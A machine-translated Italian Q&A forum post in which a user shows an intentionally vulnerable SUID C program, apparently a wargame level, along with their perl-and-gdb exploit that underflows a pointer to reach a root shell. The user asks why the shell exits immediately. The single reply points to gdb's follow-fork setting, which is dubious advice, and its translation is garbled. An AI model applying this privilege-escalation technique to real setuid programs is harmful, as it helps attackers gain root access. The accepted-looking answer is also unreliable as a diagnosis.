Il programma viene sfruttato all'interno di gdb, la nuova shell viene spawnata ma terminata immediatamente

5

Sto cercando di sfruttare un programma SUID.

Il programma è:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>


#define e(); if(((unsigned int)ptr & 0xff000000)==0xca000000) { setresuid(geteuid(), geteuid(), geteuid()); execlp("/bin/sh", "sh", "-i", NULL); }

void print(unsigned char *buf, int len)
{
int i;
printf("[ ");
for(i=0; i < len; i++) printf("%x ", buf[i]); 
printf(" ]\n");
}

int main()
{
unsigned char buf[512];
unsigned char *ptr = buf + (sizeof(buf)/2);
unsigned int x;

while((x = getchar()) != EOF) {
        switch(x) {
                case '\n': 
                      print(buf, sizeof(buf)); continue; break;
                case '\': 
                      ptr--; break; 
                default: 
                      e(); 

                      if(ptr > buf + sizeof(buf)) 
                            continue; 

                      ptr++[0] = x; break;
        }
}
printf("All done\n");
}

Possiamo facilmente vedere che se in qualche modo cambiamo il contenuto di ptr in un indirizzo che inizia con CA, verrà generata una nuova shell per noi. E poichè ptr tiene normalmente un indirizzo che inizia con FF il modo per ridurlo (ptr) è inserire \ character. Quindi creo un file con caratteri '\' 0x35000000 e infine 3 'a' alla fine del file

perl -e "print '\\'x889192448" > file     # decimal equivalent of 0x35000000
echo aaa >> file        # So that e() is called which actually spawns the shell

E infine in gdb,

run < file

Tuttavia, invece di spawnare una shell gdb sta dicendo

process <some number> is executing new program /bin/dash
inferior 1 exited normally

E poi torna al prompt di gdb invece di ottenere una shell. Ho confermato impostando i breakpoint nelle posizioni appropriate che ptr sta effettivamente iniziando con CA prima che setresuid () venga chiamato.

Inoltre, se eseguo il pipe all'esterno di gdb, non accade nulla.

./vulnProg < file

Il prompt di Bash restituisce.

Per favore dimmi dove sto sbagliando.

    
posta Sounak Bhattacharya 22.06.2015 - 09:19
fonte

1 risposta

2

Potrebbe essere un po 'tardi, ma GDB rimane collegato al processo principale quando un programma si biforca per impostazione predefinita. Per fare in modo che GDB segua il processo di forking, aggiungi imposta il child in modalità follow-fork al tuo .gdbinit. GDB seguirà quindi il processo di shell che viene generato quando il tuo exploit atterra. Ulteriori informazioni sui processi di gdb e forking sono disponibili sul link .

    
risposta data 15.07.2015 - 23:48
fonte

Leggi altre domande sui tag